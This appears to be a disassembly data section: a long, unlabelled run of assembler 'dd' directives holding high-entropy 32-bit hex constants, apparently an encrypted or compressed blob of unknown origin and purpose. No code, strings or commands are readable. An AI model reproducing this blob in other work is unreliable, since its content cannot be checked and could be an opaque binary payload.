dd 14FB6FCDh, 64A59E2Fh, 40D4A8F7h, 48EB1AEBh, 3D1233FEh
dd 2FFD2E4Bh, 1CAF0841h, 905B0224h, 4A26680Dh, 69F27FE1h
dd 5345AAA4h, 24EFCB28h, 629B018Fh, 4209D571h, 0BBF94AA6h
dd 1B10C42h, 0C02C24B8h, 0C226290Ah, 5A123F58h, 39487CA3h
dd 0E119164Bh, 5F66D897h, 6930DBB7h, 4B304455h, 0EFCE8501h
dd 0B420B52Dh, 65F1B73Bh, 347AA66Fh, 710D0038h, 51B6B79h
dd 9A4C2E7Fh, 0D5BD315Ah, 2E93EC30h, 0B6F7C446h, 3A9C8489h
dd 0C76157D9h, 0CB31108Ch, 45414E42h, 0E024A12Fh, 0D9BD1F63h
dd 0EC759319h, 0CEBE4A3Fh, 26A250C3h, 0DE1F98BDh, 0C4609935h
dd 48BCBE58h, 2AF7E9B1h, 0D8CD1B90h, 55F92841h, 17BBD2D5h
dd 41C5BA76h, 18B259C1h, 0DBD992ADh, 55D0676Eh, 56E3C567h
dd 552858B9h, 384FE12Eh, 5AD12882h, 0C540C1FEh, 23DE120Ch
dd 76E9D704h, 3A48E6ECh, 86050325h, 0E1BC1350h, 63E96BF9h
dd 181A2E86h, 0C5D27EBDh, 6B5CA8FBh, 0CB704048h, 73788277h
dd 39243A34h, 189EA2FEh, 35161083h, 657E31D6h, 72CCFC7Ah
dd 7FEB27CBh, 96847888h, 0BE16857Bh, 525D29B7h, 4D5F6909h
dd 0D400D789h, 0A654E963h, 12C0FAFEh, 0F87602F2h, 1DD89765h
dd 0ED2D342Fh, 85019D1Fh, 0BB2F57E9h, 2DA68E44h, 5A8CEE56h
dd 8542B71Ch, 245AD0DDh, 87A5B7D6h, 92AD5651h, 5A7D54A2h
dd 0A0F69FB2h, 0E04449A6h, 9BB82B91h, 95332DE4h, 2AF555A1h
dd 2282708Bh, 5D979FB2h, 4B0B0934h, 59DCE7E9h, 0A3C24918h
dd 0A0B8B756h, 0A2664F21h, 1F51095h, 0E7A68C50h, 0B98FF784h
dd 47F012EEh, 8F3FE331h, 36833D02h, 272E7101h, 42C29989h
dd 0B867DBDDh, 40B328AEh, 2BD43C69h, 3570EEB0h, 58C8F69Fh
dd 3AE14D99h, 64A220BDh, 0FBDD814Ah, 2D923E24h, 0DEFC4EA8h
dd 0E3DD0E6h, 0F0215A01h, 0AE8C15Eh, 6DAA3Eh, 0DF54D702h
dd 0B5EE1296h, 0F4B9596h, 6012026Ah, 0CBDFC029h, 0D33F01CFh
dd 378C0F34h, 0C9A82B7Ah, 8F72F087h, 16A8E431h, 85010741h
dd 739D55E2h, 5992CCE5h, 58BF5C8Ah, 400940A2h, 0A84CD69Fh
dd 34C83971h, 73566025h, 0A880CC13h, 285E6325h, 1D911D1Bh
dd 405A0875h, 0A5F9D857h, 360BCE9h, 3828EF43h, 94765EDEh
dd 8D08160Eh, 0F13D7A1Bh, 0A83865FDh, 1715B7C4h, 20CD2DFFh
dd 0D8B50D05h, 3D7395D2h, 0C910F4CBh, 0EE68B9E8h, 9C893B9Eh
dd 0EF8A54F8h, 4D70786Bh, 42DB73BFh, 90F73670h, 5ED8DE7Bh
dd 8FABA921h, 400DC558h, 0F21A7C7h, 33699D82h, 0E1748718h
dd 69589468h, 1FF9D219h, 0E902BA25h, 8DE1C188h, 483B9D65h
dd 92ACF965h, 10C0866Dh, 7A85D697h, 97A6525Dh, 8434BE5Dh
dd 0ACFA9D82h, 10CC5B90h, 30BD7B4Ch, 31FA43F2h, 0B0FA5DEAh
dd 53E4494Fh, 9CD95DF4h, 0D154743Bh, 8A5704E6h, 0FF3150FAh
dd 0E0003E2Dh, 1A555494h, 98FD0128h, 0D5290801h, 0EAA06F5Ah
dd 97F7E65Dh, 806B537Eh, 6C206577h, 0E9DF0B87h, 2710F35Fh
dd 37268B89h, 68020A9Bh, 7F769F5Bh, 9D357900h, 0F6B83A60h
dd 33A2E030h, 0F23D67F6h, 597BE61h, 0BE472703h, 165AE109h
dd 0DBE927F9h, 159BFC2h, 136273Dh, 0CA9689Dh, 7A56EE4Ch
dd 610A3A66h, 0C14B5E3Bh, 6F3BABAEh, 8F9ABE49h, 7ECB1E0Dh
dd 59EDA5Bh, 7161C7Ch, 47A5BB48h, 27E38AD4h, 625DF8E9h
dd 0DD595D7Ch, 4EE40549h, 0AA28C844h, 53C1998Ah, 2A01BD55h
dd 0F222D444h, 0E9A168FBh, 5A6E8F59h, 0A1F5AFBDh, 0E990586Dh
dd 2A171334h, 0BA3384FEh, 0E985B0A2h, 2FF2A1B1h, 4309531Eh
dd 9612C667h, 2E558B60h, 0E150A756h, 0BADB958Eh, 0EE69CF8Bh
dd 2E517CCFh, 8E3846B9h, 0D6A407B0h, 2F58E889h, 570742BEh
dd 657A9D7Ch, 97B0C28h, 55EEBB7h, 0CCE017C1h, 48208E6Fh
dd 0BF1B0533h, 0B482DC73h, 8D0F0014h, 0D19567D4h, 371F88D3h
dd 2DD58905h, 0ABDFD4EFh, 8B149481h, 3C580102h, 2597EF20h
dd 0EBFD5456h, 0D6EA27B5h, 0BAE609A0h, 4A487829h, 932D3A7Eh
dd 20FA0EBEh, 0ABCAC022h, 89B9074Ah, 0B215C312h, 50F94065h
dd 58096842h, 8310C201h, 5EA8CD9Dh, 0C895D98Eh, 0E2FCB9Fh
dd 8775B960h, 9CD1F7C5h, 3D5B5F07h, 615A6EA7h, 8B686A3Fh
dd 5158C2EDh, 6C1969BFh, 2DEB2FC2h, 0E514AF8Eh, 0D97F4D1Dh
dd 65E32B14h, 0E7D29Ch, 1021C0D2h, 2D34485Bh, 81BF0DBBh
dd 0A01493BAh, 0B4A2A28Bh, 217214FDh, 11BC6053h, 0AA5B0782h
dd 8E14B468h, 0E9535006h, 203D18AFh, 579559C8h, 0FFC91C21h
dd 0E8B9C8FEh, 171736FAh, 31FACE89h, 8E38E9D0h, 0FF575B7Dh
dd 32E2CEB9h, 84A94A7Fh, 0EE7CC049h, 447D304Ah, 0B9D95F8h
dd 1C723F5h, 0DE7A1CF1h, 91DA447h, 59579C9Eh, 8ACA2E97h
dd 0BBEA2172h, 7164EF27h, 0E8D50B24h, 119C5C64h, 0AC065ECFh
dd 19BEA048h, 0E68331Ah, 0D6B0EC9Ch, 0F2122977h, 0EF43FCE9h
dd 9A52D388h, 2D975EDAh, 80F45D14h, 5216C501h, 12E996B6h
dd 0EBB4852Fh, 357EFCB7h, 0BB1CF617h, 0CCDE3C1h, 3A9ED5E1h
dd 3F3D3FF5h, 0CDF9E693h, 0D68F51AEh, 0C313932Fh, 6A2AE309h
dd 0CE6AD7EFh, 7897Dh, 80641FC7h, 51E9104Ah, 0F0B80211h
dd 0FD423203h, 5608A948h, 0CA1D68FEh, 59C0941Ah, 0D732F181h
dd 93AFD29h, 1483311Eh, 0D10179E5h, 0BE5430C3h, 0C42A293Ah
dd 0C081905h, 586C97C1h, 1EA5D82Dh, 7083227Fh, 2BF70B73h
dd 0A99175D7h, 7628386Ch, 0FE876825h, 0BB37C2A4h, 0A9E5750Bh
dd 0FF1ABFBBh, 6062908Ch, 0E52D4422h, 9E260717h, 520F0089h
dd 641EE65Fh, 685B0A34h, 42370AF3h, 0FA653994h, 2C3830Bh
dd 9422E1Dh, 0C6F90255h, 8803C77Fh, 8816CDF3h, 439EBC09h
dd 0BEECED59h, 772168C2h, 2B2E5248h, 0A708EA93h, 0B0066B60h
dd 660242D4h, 0B0505152h, 79D97F91h, 75C68889h, 0F9A6410Eh
dd 7E20865Bh, 7240095h, 0D0F6C0FEh, 30261304h, 245371C1h
dd 0E1EB678h, 0F10996EEh, 680464E8h, 0BD295D80h, 0CB4A33D8h
dd 65F57852h, 9309FB6Ch, 0E82F125h, 2DD05FFBh, 20976C97h
dd 8EFD0AA8h, 3FFEDB4Ah, 93250FA8h, 92205B71h, 6485AE5Ch
dd 2FB36F02h, 5DD442DBh, 5E9D327h, 871E88D4h, 0E281DA01h
dd 105539BEh, 9FE0C5FFh, 50B8045Eh, 0EE241E6Ah, 0F480D01h
dd 472B7E8Ah, 0B63B790h, 5FAACEF5h, 0BBEF1610h, 4E15F0CAh
dd 0BD028E72h, 42F64D5Eh, 1565F25Fh, 0F6502AE9h, 9F7EDB05h
dd 65CC1F63h, 0DA290883h
dd 29F569BAh, 4D320089h, 60528F0Fh, 0BEF58D16h, 5C16956Fh
dd 0AB97A4E9h, 417663h, 9B69EE97h, 0F729A75Eh, 0FEC2E4E9h
dd 7AF0117h, 802BDB5h, 98B5EC5Fh, 7A445D00h, 59DD56C9h
dd 0BB510C8Ah, 29ECEB67h, 68363106h, 25213D6Eh, 0B95FE687h
dd 0B52E2D30h, 27EED439h, 291D7600h, 53E952C8h, 4F9FB163h
dd 0EA215E65h, 0C428509Ah, 2D5D000Ah, 543F45E0h, 0AEC0D029h
dd 68F11F4Ah, 0A9EE2FE9h, 246FD774h, 44FABFE0h, 0ABF7869Bh
dd 1D4111C9h, 59A52A79h, 1008D279h, 96D52785h, 0B189541Bh
dd 0AD5C97C3h, 7046E906h, 0E6FD7733h, 82B207h, 0BC2D59CFh
dd 553773Dh, 0D23CA80Fh, 695F416Dh, 0C43E237Ah, 28071F48h
dd 1B44F511h, 0F08CACAFh, 97FFDD1Bh, 525039DFh, 315D8h
dd 0CA810D38h, 76B1C11h, 20F84A4Eh, 16794D4Ch, 0BD5A5B0h
dd 0E47E5375h, 8851FD58h, 22CBCADDh, 5163D7BAh, 41D020D2h
dd 5F69BB07h, 29A56C4Ch, 0BD3FBFB1h, 57D78464h, 0DBCAC2FCh
dd 8100AFBAh, 0E038D4C7h, 0EF003176h, 0C8A71472h, 0F0E9F989h
dd 5C52C58Fh, 1203E756h, 39EBF1C8h, 0BAF2FFFh, 24D09C00h
dd 50C95995h, 8B884DA1h, 0EC3EE116h, 6657A05Fh, 5B204C5Bh
dd 4FBDF32Ah, 0CE54B75Fh, 0B109A3Fh, 0EB8F75F2h, 9770984Bh
dd 0BE154B7h, 0F45A1E15h, 0F96D84C2h, 0E1EDCFEh, 40618103h
dd 6984AF27h, 11BB5BE3h, 100408DBh, 5F010DF9h, 920C4414h
dd 482CE10Bh, 2440230Dh, 427833B9h, 20BFC89h, 57B7ACBCh
dd 8D833498h, 0E92FDE95h, 6848FD66h, 0A3BC5AE8h, 6FEA01B1h
dd 68C4DAB2h, 0E9C9D1A0h, 300E250Fh, 615F3FFAh, 9F0382A3h
dd 8B4F792Dh, 0EEF8ABC4h, 689561B9h, 805B0030h, 0E5C01AF5h
dd 44979803h, 6509C586h, 85AE026h, 820B025h, 54A21CC1h
dd 0F77D2BECh, 2687A25h, 1F1E94C3h, 91DA2FA5h, 61F785B9h
dd 7A316105h, 0B0A524D9h, 1220AAD2h, 0DD313E49h, 24E49F6h
dd 0E5B75300h, 0F8287A2Ch, 34900474h, 7EB8E915h, 56E01EC5h
dd 0DBDD810Bh, 66CA58Bh, 7C82E74Eh, 2CDBFBADh, 0DB072FECh
dd 57F4520Dh, 14900150h, 0F6256C09h, 2586743Ch, 275B44DFh
dd 83E25CE9h, 0A188FBFDh, 69410BD1h, 0D4211E9Ah, 84CB27E9h
dd 0A9174271h, 536A4081h, 0C4DB57C2h, 33627DA5h, 86C4D357h
dd 1C4868E9h, 7B37FDE9h, 0E505EDA3h, 0C2304F34h, 0EC5F28E7h
dd 0C7E59022h, 2780EB16h, 0AFC6EA69h, 0F4A1168h, 85AB8D4Bh
dd 67A2AFB1h, 0C1F001D2h, 0F4D011A9h, 0EC4028E9h, 6CC63980h
dd 0BF6FCE93h, 0D831A4A5h, 843F6BF5h, 0B1B6ABC3h, 0A776FA24h
dd 0D12037F0h, 0E3892859h, 0B7ACA0DFh, 0EC64950Ch, 1140CF0Bh
dd 0EEDE40Bh, 0FE4CCC80h, 97208A74h, 10EB0506h, 5EFD63CEh
dd 0B8F4BC52h, 1C623AE9h, 0C101198Dh, 0D40807E6h, 2D98D01Ah
dd 233D1FFDh, 60172D6Eh, 0A097BF4Dh, 0E24F70C7h, 4F75A87h
dd 0E867B047h, 294EC640h, 20C10F7Fh, 0AF72064Fh, 3CEACFA4h
dd 0CE0636Ch, 34C71364h, 0CC278098h, 0F96C5DFFh, 772DC37Ah
dd 1E9783Ch, 6D3370Ah, 2F3FD9E9h, 1C9E68Ah, 97B26477h
dd 0D5252C7Ch, 1F90C6B4h, 0E3B33629h, 7769D900h, 0FA574502h
dd 0E8054E94h, 3A568320h, 63C2A7DEh, 267BC5B0h, 0E2D4A5D1h
dd 0B2DA02A5h, 89977617h, 0EA712906h, 0FEBC874Fh, 0C406DE19h
dd 0F54C2118h, 1501EA5h, 3A7C5C9Fh, 871AAFCFh, 7FE9C2EFh
dd 0E6CC508Bh, 0C30514Fh, 0B5A0FDE9h, 0F8AD5DDBh, 58C129EEh
dd 3268844Dh, 74F2D83Ah, 25A66712h, 4A9DC0Bh, 0B1EF5502h
dd 5D080357h, 70B41E0Eh, 0A0012860h, 231CD008h, 4EFFE912h
dd 73C554CFh, 3A2CFA77h, 0C789045Fh, 0AA844FE9h, 0B3822A27h
dd 510E7243h, 0C8FFE906h, 5E46CB81h, 212F837h, 0D6426DF3h
dd 31AF7445h, 0F17F8B5Ch, 12BDC455h, 1160602h, 5E5DEF09h
dd 69820C4h, 51D3A76h, 0F7207A29h, 0D5A4A240h, 2E5B6C69h
dd 42553E6h, 93D4C4F5h, 0AFDE0FC4h, 1475AFBFh, 0E9581226h
dd 3038A0E1h, 1AF0FD7Bh, 841FED58h, 660112A4h, 3A587A68h
dd 0C40F67BBh, 3A128151h, 981F06F4h, 329A411Bh, 16AB4E75h
dd 97ADBC8Ch, 0B09BC7AFh, 0CEFE40EEh, 3054514Ch, 5BD8399Ch
dd 147E0005h, 422D276Fh, 0EF2447C1h, 0C0136B21h, 0ECE39D92h
dd 4BB2A1D2h, 1C1A3FDCh, 252DF4E9h, 0A8D845DDh, 0B6549D28h
dd 97E831F8h, 0AA4CEBD1h, 0C2099710h, 685097D4h, 0BE095451h
dd 0A9024F4Ch, 6BCB85EEh, 0EE94FAD1h, 9729BB2Bh, 0F97A9961h
dd 0A4F286C6h, 65823137h, 1942D0Bh, 457E5B5Ch, 0AD5184D6h
dd 0A8E9E10Ch, 0BDBC0C2Ah, 67283DA6h, 8E0BA24Dh, 0D569E350h
dd 75E5BD20h, 64769516h, 34039CF2h, 8950174Eh, 0E9C290E8h
dd 6E7D5C2Ch, 3F5D0292h, 60405313h, 5A044A9Fh, 0E33E93Ah
dd 0AE17C8ADh, 8B28BF5Fh, 17138419h, 6A77FEF3h, 0F514D5B2h
dd 528B6879h, 0CCB14B44h, 476A5A0Fh, 0BBDE38D6h, 48904A64h
dd 0E177A768h, 2639BF2Ah, 0FCBB5889h, 4536BD7h, 270EBEF6h
dd 0ECA0FA5Dh, 9F63706Bh, 33D9B0F4h, 5C79C204h, 3A8C4775h
dd 0D01DA738h, 21E1272Ch, 54500209h, 56686176h, 5674731Fh
dd 0BB531F5Dh, 7ED41C81h, 0E12AE6E9h, 12F62EA1h, 1D9B2C17h
dd 8B5B7A53h, 9BE84A79h, 0FC0F7D13h, 45CBA12Eh, 7A2AB67Bh
dd 2DCE4949h, 7200C95Ah, 5C38213Fh, 0B4BB14A8h, 4A59E917h
dd 0D0313D39h, 0F1ABCEA0h, 3C41C750h, 0FF3AED2Eh, 0A1847525h
dd 0ABDB959Ah, 0FBD250A3h, 0D5A24262h, 1E77C442h, 53CED25Fh
dd 62A804DDh, 2D139018h, 1E1F2237h, 4813D809h, 0A6AFE185h
dd 9083208Dh, 213560A3h, 95329E68h, 427B7B7Bh, 0CA4E92CEh
dd 0A538A366h, 8A1EC554h, 0B8BB5A64h, 0B151D805h, 0E1C0ABDAh
dd 3A52C9FEh, 0C6ADACB6h, 518AC2B9h, 35D17EC9h, 74E97E8Dh
dd 0F614137Bh, 19FDA2FEh, 0D03C12F4h, 318A0FF8h, 0C8814FC2h
dd 0D42AA5FBh, 3CCA828Eh, 0D742107Ah, 95C558DFh, 79B705D0h
dd 617D6B9Fh, 0E06E29E3h, 3EF359E5h, 5BBAE7D8h, 3A2CABD1h
dd 0B584BFD5h, 505F05Eh, 502FD080h, 5BD1E3A9h, 0E9FD0F5Ah
dd 0CC559F8Bh, 0B554B50Ah, 202EB3F1h, 186802CBh, 2D1B1462h
dd 66530796h, 0AD480D5Dh, 4BCB06B2h, 28A2B46h, 37F451A2h
dd 5378EAC1h, 1A14EC00h, 0E9DAF72Eh, 9D19909Fh, 4573B3F7h
dd 0FF2AF8ACh, 6800932Ah, 2E84692Ch, 26002558h, 0F2BB254h
dd 9E3D188Bh, 2328809Fh, 0D0317C36h, 0E9611B99h, 4D2A5D68h
dd 52FA579Eh, 0A9F75CC0h, 9F2C469Bh, 0E9C1507Ch, 307920EFh
dd 3D8E31CBh, 8905BC73h, 0BBD22042h, 5C17710Eh, 0C28641Dh
dd 87C10406h, 0BF610220h, 0CB8EECA8h, 0EE5E76E4h, 0AFED5C9Dh
dd 1E52C22Ch, 0FC3FF112h, 0B353E087h, 30899834h, 0DF5272Eh
dd 949DFEF0h, 0B735FA98h, 0C5EEEE0Fh, 285831EBh, 30E1BF0Eh
dd 0C90B3221h, 0C4CFA0Eh, 6CD561D4h, 2916C6CCh, 7AB4F47h
dd 74FAD8D7h, 843315DFh, 0FDC4EB31h, 0E6820F81h, 4C085F82h
dd 64F50279h, 2032BE19h, 4585F0Ch, 0BA2115E5h, 0B4E079F8h
dd 255AB697h, 0BA4985h, 92C68088h, 0A74D23E9h, 97253BE5h
dd 7A9E0E2h, 0DE280C0Fh, 54408D49h, 425A6E68h, 0E613F8F3h
dd 40E3E304h, 5A5EC0A5h, 0BE17C8B3h, 0E1204427h, 6161EF6Dh
dd 0C93DE833h, 77D3792Ah, 2014B054h, 0BA0035D1h, 31BF749Bh
dd 5B8C281h, 0E90BCB58h, 7BE8A146h, 8984ACA9h, 0A2CEECAh
dd 74344F99h, 0BA5209EAh
dd 38B4A95Eh, 1A195ECh, 1D9296CDh, 0E793FEF6h, 68086234h
dd 456C5D14h, 7000964Ah, 0ED8040B7h, 0EAFDE0D8h, 62FBA0C5h
dd 6C599FF9h, 0B878C28Ah, 28905367h, 0B512DF11h, 78847180h
dd 0F5C6DAAh, 82175FF8h, 2348AEAh, 860945BEh, 8954006h
dd 1A5B245Ah, 0B2542D76h, 4996F525h, 70026816h, 407D69CCh
dd 0C24E0844h, 0EABA81AAh, 0D33F20E7h, 5FA51996h, 8C0F6BC0h
dd 0FF25072Ah, 5B063138h, 0F3F960FBh, 3F04E4C1h, 6106E998h
dd 9E44EDAFh, 32E94DD3h, 0C730FE5Ah, 181C6F09h, 368829E9h
dd 3D90D328h, 0C380CB0Bh, 1B135D56h, 2264C7ACh, 11D03CE9h
dd 8CF0599Dh, 0E1BBC003h, 8C1ADD01h, 4E856832h, 0EF6C8C3Bh
dd 56724105h, 98BBD3F7h, 8718DF10h, 4CCC5FFBh, 8C51638h
dd 0E573004Bh, 48779A3Eh, 2716BD90h, 11010283h, 31EF0824h
dd 3B5A907Eh, 3190D4FEh, 649FAB72h, 0C164BF70h, 0DC195B2Dh
dd 0B6AC07Fh, 0E6798177h, 5C05CC90h, 8D84830Fh, 0FD7CD9EEh
dd 0F408138Eh, 0F05675BBh, 6B4F0173h, 58F18DACh, 5BC27456h
dd 979A9490h, 22FD6CB7h, 0B6D77B1Ch, 597672EFh, 0AF9BB0DFh
dd 837782F7h, 58203070h, 0A36FEF97h, 685801B7h, 450947C7h
dd 5AF002E4h, 0AFF8A516h, 139DE916h, 7E6572AAh, 10251DF6h
dd 0C858163Dh, 1408EACFh, 32D62F26h, 0A83C4B78h, 9D94AB97h
dd 0FF5AB0FCh, 0CD1F6F50h, 62572628h, 0C3E56090h, 17D4B64h
dd 6F534C60h, 8B0C8007h, 1033E37h, 0A9E8B7EBh, 984F48E9h
dd 0AE4A3FE3h, 3CD53C1h, 32228E7Bh, 544CD4F2h, 0B8918C8Dh
dd 0D24878B1h, 2BAC81C0h, 0E8403950h, 5BF5573Dh, 6710EF5Ch
dd 5505108h, 9BD0EE14h, 0C4FEEEA0h, 0FC5D304Eh, 780DC93Ch
dd 6259957Eh, 505189h, 635EA085h, 92C9074h, 0EA42AB36h
dd 89950557h, 481062AEh, 572A40E0h, 19F30580h, 17475D42h
dd 0AD8A7E44h, 5671EF4Ah, 0B1395A7Fh, 8C868C2h, 0E908B05Fh
dd 0A7A75F25h, 89FE4E41h, 0ED454348h, 3E5CF03Bh, 0D812DDD3h
dd 63C95DCh, 0EF814B75h, 0C9BF0D91h, 13757ACAh, 2F9BA500h
dd 0F722138Ah, 0E3801AD0h, 9D8CDA7Fh, 0B0651076h, 0C8317591h
dd 9C10599h, 13CFE9F9h, 0BFAF2D7h, 259343FFh, 0C5575608h
dd 2378693Eh, 9F567729h, 0F22D5F97h, 0E2ABBC41h, 0A3C1EF15h
dd 0C81136D9h, 0E00AAD87h, 376AE8BDh, 94226411h, 0F35BE01h
dd 4E62F781h, 0EC5E9067h, 6153A2DFh, 476FB45h, 1EC4680Ah
dd 0C2298B99h, 0C372B1FCh, 386389B0h, 40B50E83h, 2CD2E530h
dd 7A684E48h, 0C2A80F4Bh, 1C91E2E7h, 9D14BC7Fh, 5AEED6C8h
dd 6EC98DC4h, 0E7D9FB12h, 0BCE9D450h, 8099BE90h, 399CFAF0h
dd 3C028E2Dh, 0D829147Bh, 5B078705h, 304C2260h, 2D1ACA1Eh
dd 1D7E2507h, 0EA70E658h, 11FE9539h, 0BD0B0678h, 7BE18AAEh
dd 7BFDEECFh, 6259BCF0h, 33EBF710h, 8BF19876h, 5EB857E6h
dd 9820D93h, 2AF48FF2h, 74AD85B1h, 0D8750872h, 4E7AF789h
dd 0EB8800F0h, 85B905B0h, 721FC81Fh, 0A8F0E1C1h, 513070D3h
dd 0CEF00979h, 63243054h, 3517511Eh, 21380375h, 61BB5A1Eh
dd 49BCF3E2h, 0B564E4B8h, 783295Ch, 16C63169h, 6BE2403Bh
dd 9798241Ah, 0E91D3E96h, 0B4A06D35h, 124C0B93h, 76957690h
dd 39D3A446h, 5936749Eh, 0E705122Dh, 82C4F4F8h, 0D5172C5Fh
dd 0B73E99AEh, 3B932610h, 7F0C8661h, 13DA0698h, 768311E9h
dd 0EC880F0Ch, 0BF5BB06h, 18604524h, 0B3933DD0h, 548A7D09h
dd 0CEF1A7E9h, 0A062FD6Bh, 241FFBD5h, 8BF52F01h, 0BD7D94B4h
dd 0E9052D7Bh, 5BA622CEh, 30275D7Ah, 0AF5A6616h, 0EB80D703h
dd 95062D1Ah, 0F208C45Eh, 0BFD82D39h, 3D2DC631h, 2224214h
dd 820F5694h, 1C361578h, 5E35280Ch, 0BA7A85EDh, 0E917E4CFh
dd 0FE4DC523h, 420CBF98h, 49B802AEh, 0D722EA21h, 91553B0Bh
dd 0D97A5FDCh, 14E63A12h, 0CD98E909h, 920FF359h, 55497Dh
dd 67784A0Ch, 7C29275Bh, 95D04CD5h, 0F7905970h, 760862B1h
dd 13591C4Ah, 0CC86D1F3h, 0CC892A34h, 60DD8920h, 0DC35F825h
dd 54785066h, 0C63A7100h, 605F0D2Eh, 2D730136h, 7FF67A5Eh
dd 6FB77B01h, 0F9F0661Ah, 68649900h, 0F9A112FEh, 290D8160h
dd 4BA8E9F7h, 2858E151h, 0E5C39171h, 505131EEh, 0FB310188h
dd 1235C1FDh, 0FA228B01h, 0D96ED7Ch, 3CEEF2F3h, 4765E14Ch
dd 28522C24h, 2B3DCBAh, 0FFBB80Bh, 24DC7F1Ah, 1F40D01h
dd 0FC7E7663h, 0C8A91651h, 0AB359820h, 0BECE4BB7h, 9E0EE188h
dd 0CD5A2FA3h, 20BF1AF2h, 5E34C2CEh, 25076A4h, 57122ACAh
dd 2957E90Bh, 0E91B8E64h, 0AC895CB4h, 42ED1CD0h, 5A069C5Ch
dd 2992B1F1h, 0D22734A2h, 8D912C46h, 0E3052116h, 22BE3035h
dd 47E75194h, 2164B509h, 0CD7B86F2h, 0BBFBB507h, 0A4188539h
dd 0E9E80C21h, 5C34E464h, 0F9A9664Ah, 250F5C9Eh, 967096D7h
dd 41F2175Ah, 260ABE99h, 0FD2930CBh, 0C2E54758h, 5DBA3788h
dd 4C88C947h, 40501CC5h, 3D2C62B0h, 2DFAC388h, 0E5F8374Bh
dd 0D3CACEC3h, 5C9DD39Fh, 41113451h, 2A422796h, 16EF01C5h
dd 3798FFF6h, 95C2BAEEh, 2D80BB88h, 8A49BCF7h, 867155D2h
dd 208275A7h, 54F6A875h, 0EA684663h, 37B54106h, 89F9F7EFh
dd 97DBE58Ch, 97750842h, 646BB80h, 483140F8h, 0A2D24D3h
dd 0ACEDA5A8h, 0AABC2A8Bh, 445AFD52h, 43BC09FCh, 0D9C68485h
dd 0AF76FB23h, 0DECBAD64h, 45116803h, 454A3878h, 86060116h
dd 0B6D5F3DEh, 0F71C09F8h, 325BE00h, 1200617Dh, 1E1BFA0Dh
dd 0AE0C101h, 1CA2E905h, 78ED87B7h, 0B2650723h, 467DC6E6h
dd 9AA97980h, 4A3C795Ah, 0BB34AA54h, 991F48FBh, 0C9FCCF93h
dd 601FBE4Eh, 346EC92h, 7D76EEC1h, 9BDC9F40h, 7A5D5371h
dd 5CEB5820h, 24C524Ch, 1D28FD07h, 20FDFB1Ch, 190B86EBh
dd 4DD2BF0Fh, 495E0882h, 411E2D88h, 415F77A1h, 223E4F5h
dd 8BC05D80h, 10CEC415h, 5BB9EFEh, 58E128E7h, 695FC7BFh
dd 290A6154h, 0BD1387EAh, 0EBFF57FBh, 0E9122D8Bh, 434EE063h
dd 205292ECh, 0C4517F5h, 26BB8AEFh, 5F9E96EBh, 0F3BE15D3h
dd 90E41212h, 4046E7EFh, 5E4C748Dh, 2CE4C23h, 3CED71B9h
dd 10D0FD29h, 3A081C01h, 0E7B6E91Dh, 680B7A23h, 0AB060E1h
dd 5F252983h, 90E4D579h, 0A90B6898h, 0DF2FC10Ch, 0E65C2398h
dd 0F86D6E27h, 17DCB500h, 0DC35F142h, 6CFFC9DEh, 0CE5B4EB3h
dd 599D1043h, 0FCCB057Fh, 46C8414h, 13A69197h, 2B6F2CEFh
dd 0A788324Ch, 82F8ADB4h, 8DD1EE4Ah, 55DD3D96h, 824CDC20h
dd 1211C077h, 0EEC85931h, 0EE142497h, 5F25A1A9h, 68EBBC59h
dd 28B892h, 0F7607657h, 0EE5E05D0h, 0D8C81027h, 0A7F1B7C8h
dd 0F16FE905h, 545AF309h, 0A390B82h, 5E83C22h, 0CF422374h
dd 9429C62Ah, 9A8B2013h, 20CB98BCh, 8013B917h, 0F4AF19F3h
dd 0F094B08h, 0A3CA5481h, 4A0EE527h, 0C49F940Bh, 0B99517B4h
dd 950BA472h, 29A6C09Dh, 0AE2D4EC8h, 1CB82F15h, 0EFFC1D47h
dd 0CB560F0Ch, 7E27D21h, 20C080Dh, 0E5555814h, 0B3FB8834h
dd 0A2ACFF2Dh, 0E54D5D78h, 13C538ADh, 2F094BBAh, 55074A1Eh
dd 5501C356h, 0B8228BBDh, 8573FA96h, 0B529EA4Fh, 0DB7A2C7Ah
dd 2C583340h, 0C0875368h, 650A23BEh, 0DFEC085Eh, 3CFD6873h
dd 8DE9090Bh, 0DE9428D8h, 7B2F2FBEh, 1E870991h, 6F17DE30h
dd 0DE3E6FDAh, 52462D10h, 0DBC3D880h, 893DE597h, 537D8E59h
dd 0EDD21629h, 0E3DC1A0Ch
dd 7E90DD4Fh, 0B225850Fh, 4EB6D76Fh, 0C1B7BEBh, 1D9DA08h
dd 0C260F068h, 6C23F9FFh, 0C82FE936h, 275746D4h, 871C016Ch
dd 4745A3B0h, 0FD56EB02h, 0BE15BA73h, 285B7FA4h, 5C05AADh
dd 2D77484Dh, 5BD8012Eh, 1040BE59h, 0BF5EF029h, 0BB4127F8h
dd 362BF92Bh, 5F25AFD0h, 8E4BEF05h, 9FE6D8DBh, 5B69E271h
dd 0E7570A28h, 0FBB816B2h, 8C580A33h, 0F7C05DECh, 0AC32E9F1h
dd 57B7E9BFh, 0AB5B122Bh, 2927A9E7h, 685E54E0h, 593CBC2Dh
dd 0E9D58231h, 515626CCh, 0DDD217C2h, 61C2DF93h, 0B40E1AFEh
dd 3E30B5Eh, 87F3C352h, 0C3C85135h, 759DB831h, 0FE4EC438h
dd 902981C0h, 0A20C01A8h, 4FE28AE0h, 0C41EECA5h, 0AA25512Bh
dd 90D8D7A7h, 4A9A5E59h, 0D42E7B24h, 6A2FC041h, 0BB1AE06Ah
dd 1DFA2B16h, 0CAF183AEh, 0D90B2241h, 591742EAh, 2549BA7Dh
dd 16EEB281h, 6C9AAB0Dh, 0EB034E48h, 10362941h, 48148DE0h
dd 0B207E9Ah, 0ECD69F07h, 59A6B461h, 5171BA3Bh, 46C6EE9h
dd 5117543Bh, 78C16153h, 708A260Fh, 0CE615941h, 0D310F939h
dd 0E6881C0Ah, 5807F19Fh, 6D2CF20h, 837ED613h, 0BA4EAB4Ch
dd 0C21C82D9h, 55D35Dh, 6819B8F6h, 77258939h, 43ECF120h
dd 0FE05FF7h, 0A54FCD8Eh, 0A1A133EDh, 68108B17h, 3A647DD1h
dd 0CCB55103h, 985FED80h, 160FBEE5h, 570BEC86h, 1492EF2Eh
dd 0C8E47F5Ah, 9A4F2505h, 63EE310Dh, 0E89CE937h, 0DA2D25ACh
dd 0E27E9FDAh, 6E3FBDA0h, 0AA8226B0h, 8437742Fh, 0D20211E9h
dd 3EE4BA06h, 33FAD3E8h, 0DD98A2BAh, 76080B97h, 0A500526Eh
dd 74DC6854h, 27960CC2h, 0A292F7DBh, 5CE90801h, 78AA2B7Fh
